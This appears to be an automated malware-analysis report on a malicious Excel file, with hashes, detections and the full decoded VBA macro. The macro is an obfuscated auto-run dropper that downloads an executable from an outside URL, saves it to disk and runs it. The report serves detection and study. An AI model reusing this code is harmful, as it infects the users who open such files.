Office (OOXML) malware analysis — malicious · 95b8c1f748ebef3d

MALICIOUS

Office (OOXML)

117.6 KB First seen: 2020-09-15

MD5: 351e3d2752f956dbdeb693bcd032bf10 SHA-1: 553556c5f05919c1b926911608c538dd6972f8ab SHA-256: 95b8c1f748ebef3dcbad0fa3148d46d483d00620c3e56153e41fde8978daece9

310 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample is an Office document containing obfuscated VBA macros. The Workbook_Open macro triggers a function that uses CreateObject to instantiate an XMLHTTP object and download a file from the URL 'http://jayantpanke.org/sql/ujeedf.exe'. This downloaded file is then executed, indicating a dropper functionality.

Heuristics 7

ClamAV: Xls.Dropper.EPPlus-9802867-2 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Dropper.EPPlus-9802867-2
VBA project inside OOXML medium 4 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC

VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
Matched line in script
```
fqgycksrrgsaknmybhogmsjbhunhiekyvgytwffuuenvajiswryvwwgngerhxkimvuedotcwbumheobxlvlrgocyalmsnyxjvbzg.write rvnygfzmeqwxgqzsrwrkfpwcgkdtxjwnavvjeyfsfrfxccaapqejqvtczkswbfoutjxkuqotrzenjyaejcehfnwebsjtgjqzdldt.responseBody
```
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER

Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
Matched line in script
```
  Range("A6:J13").Select
Set rvnygfzmeqwxgqzsrwrkfpwcgkdtxjwnavvjeyfsfrfxccaapqejqvtczkswbfoutjxkuqotrzenjyaejcehfnwebsjtgjqzdldt = CreateObject(gplnlscyhnfrdbjgtgvhrtmcoyswakupyuosgwagklcsttytzr("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
```

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

  Range("A6:J13").Select
Set rvnygfzmeqwxgqzsrwrkfpwcgkdtxjwnavvjeyfsfrfxccaapqejqvtczkswbfoutjxkuqotrzenjyaejcehfnwebsjtgjqzdldt = CreateObject(gplnlscyhnfrdbjgtgvhrtmcoyswakupyuosgwagklcsttytzr("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))

Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Private Sub Workbook_Open()
```
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	6596 bytes
SHA-256: `5f443b9bd802a3e0f7a893a5f12ee04a54a7305263d77f1e8ec176d7753f18e1`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Workbook_Open() Range("A6:J13").Select jkkdhdapzpjudwcfffuqfnthgpfxxfuhqlvcfszwrowuhkhnnlfhxgewqdxrydsuubdsbzzmfyzrrzzvisklznjkgylbuixowbaf"68 74 74 70 3A 2F 2F 6A 61 79 61 6E 74 70 61 6E 6B 65 2E 6F 72 67 2F 73 71 6C 2F 75 65 6A 65 64 66 2E 65 78 65" Selection.Font.ColorIndex = 3 End Sub Public Sub jkkdhdapzpjudwcfffuqfnthgpfxxfuhqlvcfszwrowuhkhnnlfhxgewqdxrydsuubdsbzzmfyzrrzzvisklznjkgylbuixowbaf (kjegopssmegssrmzodyqsseddkfdkxowtiqfhtuslpxwjqfofyzjsjurfadejpipqjykbgrujgfdvhunerxlxfejoyagqpiwgigz As String) Dim rvnygfzmeqwxgqzsrwrkfpwcgkdtxjwnavvjeyfsfrfxccaapqejqvtczkswbfoutjxkuqotrzenjyaejcehfnwebsjtgjqzdldt Range("A6:J13").Select Dim fqgycksrrgsaknmybhogmsjbhunhiekyvgytwffuuenvajiswryvwwgngerhxkimvuedotcwbumheobxlvlrgocyalmsnyxjvbzg Range("A6:J13").Select Dim efddpbubkzisduvczrfgrfddgjidxcldovsgrhbeuaoaduptcukdvsozbaxftqehnfdhbpkrqbmqrczluobcshivgterkvldwgny Range("A6:J13").Select Set rvnygfzmeqwxgqzsrwrkfpwcgkdtxjwnavvjeyfsfrfxccaapqejqvtczkswbfoutjxkuqotrzenjyaejcehfnwebsjtgjqzdldt = CreateObject(gplnlscyhnfrdbjgtgvhrtmcoyswakupyuosgwagklcsttytzr("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Range("A6:J13").Select Set rvnygfzmeqwxgqzsrwrkfpwcgkdtxjwnavvjeyfsfrfxccaapqejqvtczkswbfoutjxkuqotrzenjyaejcehfnwebsjtgjqzdldt = CreateObject(gplnlscyhnfrdbjgtgvhrtmcoyswakupyuosgwagklcsttytzr("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set rvnygfzmeqwxgqzsrwrkfpwcgkdtxjwnavvjeyfsfrfxccaapqejqvtczkswbfoutjxkuqotrzenjyaejcehfnwebsjtgjqzdldt = CreateObject(gplnlscyhnfrdbjgtgvhrtmcoyswakupyuosgwagklcsttytzr("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set rvnygfzmeqwxgqzsrwrkfpwcgkdtxjwnavvjeyfsfrfxccaapqejqvtczkswbfoutjxkuqotrzenjyaejcehfnwebsjtgjqzdldt = CreateObject(gplnlscyhnfrdbjgtgvhrtmcoyswakupyuosgwagklcsttytzr("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set fqgycksrrgsaknmybhogmsjbhunhiekyvgytwffuuenvajiswryvwwgngerhxkimvuedotcwbumheobxlvlrgocyalmsnyxjvbzg = CreateObject(gplnlscyhnfrdbjgtgvhrtmcoyswakupyuosgwagklcsttytzr("41 44 4f 44 42 2e 53 74 72 65 61 6d")) Set efddpbubkzisduvczrfgrfddgjidxcldovsgrhbeuaoaduptcukdvsozbaxftqehnfdhbpkrqbmqrczluobcshivgterkvldwgny = CreateObject(gplnlscyhnfrdbjgtgvhrtmcoyswakupyuosgwagklcsttytzr("57 53 63 72 69 70 74 2e 53 68 65 6c 6c")) cqqkwvhrhhfcjrdexzkytzftdakaosmfzwnbdorvohmwprmkmyjdnawclwgvkhcovacndbbjiojmnidlozoqjiryzlqhhvlhexap = gplnlscyhnfrdbjgtgvhrtmcoyswakupyuosgwagklcsttytzr(kjegopssmegssrmzodyqsseddkfdkxowtiqfhtuslpxwjqfofyzjsjurfadejpipqjykbgrujgfdvhunerxlxfejoyagqpiwgigz) pyhkxauzqkpcsuglsmfmidorltcmdbhphnwpsesjnsipwoompzpssohlkpzdxivpcauexqtotwypvyvwfpxdmowtglfceplfwtnw = gplnlscyhnfrdbjgtgvhrtmcoyswakupyuosgwagklcsttytzr("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 76 70 67 74 6E 6E 64 69 7A 2e 65 78 65") tjoygazwpspmtcxhlscndbymlqjdktsclzdwbzxlpadowtjcrdueqzsskcmqrvlwznauzbglvqycxkqshhmhyollgllzmgutphoi = gplnlscyhnfrdbjgtgvhrtmcoyswakupyuosgwagklcsttytzr("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 76 70 67 74 6E 6E 64 69 7A 2e 65 78 65") rvnygfzmeqwxgqzsrwrkfpwcgkdtxjwnavvjeyfsfrfxccaapqejqvtczkswbfoutjxkuqotrzenjyaejcehfnwebsjtgjqzdldt.Open chr(71) + chr(69) + chr(84), cqqkwvhrhhfcjrdexzkytzftdakaosmfzwnbdorvohmwprmkmyjdnawclwgvkhcovacndbbjiojmnidlozoqjiryzlqhhvlhexap, False rvnygfzmeqwxgqzsrwrkfpwcgkdtxjwnavvjeyfsfrfxccaapqejqvtczkswbfoutjxkuqotrzenjyaejcehfnwebsjtgjqzdldt.send fqgycksrrgsaknmybhogmsjbhunhiekyvgytwffuuenvajiswryvwwgngerhxkimvuedotcwbumheobxlvlrgocyalmsnyxjvbzg.Type = 1 fqgycksrrgsaknmybhogmsjbhunhiekyvgytwffuuenvajiswryvwwgngerhxkimvuedotcwbumheobxlvlrgocyalmsnyxjvbzg.Open fqgycksrrgsaknmybhogmsjbhunhiekyvgytwffuuenvajiswryvwwgngerhxkimvuedotcwbumheobxlvlrgocyalmsnyxjvbzg.write rvnygfzmeqwxgqzsrwrkfpwcgkdtxjwnavvjeyfsfrfxccaapqejqvtczkswbfoutjxkuqotrzenjyaejcehfnwebsjtgjqzdldt.responseBody fqgycksrrgsaknmybhogmsjbhunhiekyvgytwffuuenvajiswryvwwgngerhxkimvuedotcwbumheobxlvlrgocyalmsnyxjvbzg.savetofile pyhkxauzqkpcsuglsmfmidorltcmdbhphnwpsesjnsipwoompzpssohlkpzdxivpcauexqtotwypvyvwfpxdmowtglfceplfwtnw, 2 efddpbubkzisduvczrfgrfddgjidxcldovsgrhbeuaoaduptcukdvsozbaxftqehnfdhbpkrqbmqrczluobcshivgterkvldwgny.Run tjoygazwpspmtcxhlscndbymlqjdktsclzdwbzxlpadowtjcrdueqzsskcmqrvlwznauzbglvqycxkqshhmhyollgllzmgutphoi End Sub Public Function gplnlscyhnfrdbjgtgvhrtmcoyswakupyuosgwagklcsttytzr(ByVal qhsnksnugyhzallepcpfwhbilshupiukpbvnwnrzuopilerykgotqhbifjcrkseydxkypxhbkqlistwgaikjtathamhmlaobjqeo As String) As String Dim utimymjavspmnwqbiueddcydpvpkbkycohlhaxkhqtmhxvzpjmtolblsufwdwyzltnxfkjbkkxmkprguvaboqkqnwsnuagkruanj As String Dim xtealjeooacdzchwxkujxkjsvhjdnuqodwwcvbdhfbyvpjvyzoujgemmjmedzabuknacffawgndvmncmmkezagizkjsjxzheadlb As String Dim jssunxdsaqawjrrowcudfbsvmrzgfzvicadtsklcdpyujwzfishyjhwhawhvywmbvsujoxwmqsapcymqsuynrwyuevtvcpdhcxyq As Long For jssunxdsaqawjrrowcudfbsvmrzgfzvicadtsklcdpyujwzfishyjhwhawhvywmbvsujoxwmqsapcymqsuynrwyuevtvcpdhcxyq = 1 To Len(qhsnksnugyhzallepcpfwhbilshupiukpbvnwnrzuopilerykgotqhbifjcrkseydxkypxhbkqlistwgaikjtathamhmlaobjqeo)Step 3 utimymjavspmnwqbiueddcydpvpkbkycohlhaxkhqtmhxvzpjmtolblsufwdwyzltnxfkjbkkxmkprguvaboqkqnwsnuagkruanj = Chr$(Val("&H" & Mid$(qhsnksnugyhzallepcpfwhbilshupiukpbvnwnrzuopilerykgotqhbifjcrkseydxkypxhbkqlistwgaikjtathamhmlaobjqeo, jssunxdsaqawjrrowcudfbsvmrzgfzvicadtsklcdpyujwzfishyjhwhawhvywmbvsujoxwmqsapcymqsuynrwyuevtvcpdhcxyq, 2))) xtealjeooacdzchwxkujxkjsvhjdnuqodwwcvbdhfbyvpjvyzoujgemmjmedzabuknacffawgndvmncmmkezagizkjsjxzheadlb = xtealjeooacdzchwxkujxkjsvhjdnuqodwwcvbdhfbyvpjvyzoujgemmjmedzabuknacffawgndvmncmmkezagizkjsjxzheadlb & utimymjavspmnwqbiueddcydpvpkbkycohlhaxkhqtmhxvzpjmtolblsufwdwyzltnxfkjbkkxmkprguvaboqkqnwsnuagkruanj Next jssunxdsaqawjrrowcudfbsvmrzgfzvicadtsklcdpyujwzfishyjhwhawhvywmbvsujoxwmqsapcymqsuynrwyuevtvcpdhcxyq gplnlscyhnfrdbjgtgvhrtmcoyswakupyuosgwagklcsttytzr = xtealjeooacdzchwxkujxkjsvhjdnuqodwwcvbdhfbyvpjvyzoujgemmjmedzabuknacffawgndvmncmmkezagizkjsjxzheadlb End Function Attribute VB_Name = "sodqwijzbquamujjjexlbpnnq" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	7680 bytes
SHA-256: `9f12234bf0406f73c8827306580922bf326c3b8fbd97ad848c1ba956a7d54ea4`
Detection ClamAV: Xls.Dropper.EPPlus-9802867-2 Obfuscation or payload: likely 128 of 209 identifiers look randomly generated (e.g. 'sodqwijzbquamujjjexlbpnnq') — consistent with name-mangling obfuscation.

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